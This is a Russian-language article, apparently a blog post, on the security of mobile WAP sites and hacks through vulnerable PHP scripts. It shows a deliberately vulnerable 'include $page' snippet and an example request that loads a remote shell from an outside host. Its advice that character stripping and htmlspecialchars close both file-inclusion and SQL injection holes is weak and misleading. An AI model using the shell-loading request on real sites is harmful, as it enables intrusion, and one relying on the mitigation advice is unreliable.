Безопасность вап сайтов…
О безопасности в настоящее время сайтов предназначенных для просмотра с мобильных устройств говорят много. Я слышал такие высказывания, что 50 процентов всех wap сайтов уязвимы. И вообще что wap это такая уязвимая в настоящий момент штука, что к ней лучше вообще не прикасаться. Однако как выяснилось это не так. Сегодня о вап конструкторах постепенно забывают. И на сцену выходят полупрофессиональные хостинги с поддержкой php, что само по себе и представляет угрозу.
Но если взглянуть на эти вещи серьезней, то сайты вапа во многих случаях являються более защищенными, чем некоторые веб сайты делающиеся «умельцами». Так как новичок, не понимающий в безопасности буквально ничего не станет делать свои вап сайт на полупрофессиональном хостинге, к примеру, h2m.ru .
Так как ему просто не хватит знаний, следовательно, он выберет конструктор и начнет свою карьеру сайтостроителя от туда. Ну а сайт построенный на конструкторе сломать достаточно сложно. Так как для этого имеются 2 общедоступных способа: либо брутфорс, либо уязвимости сайта хостера (на котором исполнение php естественно разрешено).
Об уязвимостях сервера я умалчиваю… Поэтому если начинающий сайтостроитель придумает сложный пароль, то взлом его сайта окажется практически невозможен. Но, так как я уже привел пример хостинга h2m с поддержкой php, то и о нем я думаю тоже надо сказать пару слов… Сейчас печатая эти строчки я вспоминаю прошлое с ностальгией, ведь совсем недавно.
Каких-то 2 месяца назад хостинг предлагал пользователям ставить изначально дырявые скрипты, и пользователи их ставили.
Причем кол-во взломов таких сайтов было до поры до времени низким. Но с недавних пор в вап пришло столько хакеров, что хостерам пришлось в срочном порядке проверять предлагаемые ими скрипты на безопасность и, в конце концов, по моему мнению, они добились результатов. Новая версия популярного движка для вап сайтов- WapMotor 6.1 вышла практически без багов.
Сколько не искал в ней багов я, сколько не искали бругие люди, не нашли… Теперь взлом вап сайтов сложнее… Теперь взломы осуществляются за счет неграмотности самих администраторов сайтов ставящих на свои сайты свои самописные веб приложения которые никто на безопастность не тестил. А так же в том случае, когда администратор сайта скачивает и устанавливает на свои сайт бесплатные скрипты скачанные с Интернета. Поэтому если вы администратор сайта, и очень хотите поставить на свои вап сайт какой либо скрипт, то лучше заручитесь поддержкой опытных людей в программировании веб приложении и не доверяйте авторам скриптов.
Хотелось бы остановить ваше внимание на способах взлома через уязвимые php скрипты, так как именно они наиболее распространены в вап Интернете. Через уязвимые скрипты существуют 2 способа взлома сайтов: 1. php инъекция 2. sql инъекция Оба вида атак существуют, из за недостаточной фильтрации «вредоносных» символов таких как “’<> и др. Поэтому атакующий может выполнить произвольный php или SQL код (в зависимости от типа атаки). Теперь я напишу вам простейший php сценарий подверженный атаке типа php inj:
< ?php
include $page;
?>
Если на вашем сайте с помощью функции include вставляется код файла переданного методом GET то, такую довольно распространенную ошибку можно будет использовать для заливки шелла на ваш сайт.
То есть атакующему ничего не будет стоить сформировать в строке браузера вот такой вот запрос http://name.site.ru/name_script.php?page=http://xakep.narod.ru/shell.php И шел будет залит, и позволит атакующему не только получить доступ к вашим файлам и папкам на сервере но и сможет исполнять команды с правами веб сервера… Поэтому угроза состоит тут как для самихадминистраторов вап сайтов так и перед администраторами wap серверов, предоставляющих домены этим wap сайтам.
Защититься же от этого можно просто проверив все вводимые пользователями данные на наличие опасных символов. Например, вот так как это сделали в wap клик клубе click-club_djdimon при проверке логина, например:
$login=str_replace("@","", $login); $login=str_replace(" ","_", $login); $login=str_replace("$","", $login); $login=str_replace("`","", $login); $login=str_replace("~","", $login); $login=str_replace("!","", $login); $login=str_replace("#","", $login); $login=str_replace("%","", $login); $login=str_replace("","", $login); $login=str_replace(":","", $login); $login=str_replace("?","", $login); $login=str_replace("&","", $login); $login=str_replace("*","", $login); $login=str_replace("(","", $login); $login=str_replace(")","", $login); $login=str_replace(",","", $login); $login=str_replace("/","", $login); $login=str_replace("|","", $login); $login=str_replace("'","", $login);
Или можно сделать так:
$login=htmlspecialchars(stripslashes($login));
Точно так же закрываются и уязвимости SQL, поэтому мы должны знать, как закрывают уязвимости web-wap скриптов. Есть еще и еще способы решить проблемы уязвимых скриптов, и я верю, что наступит день, когда об уязвимых скриптах забудут как о пережитке прошлого. Но появятся новые языки программирования, новые уязвимости, новые хакеры которые будут активно использовать последние.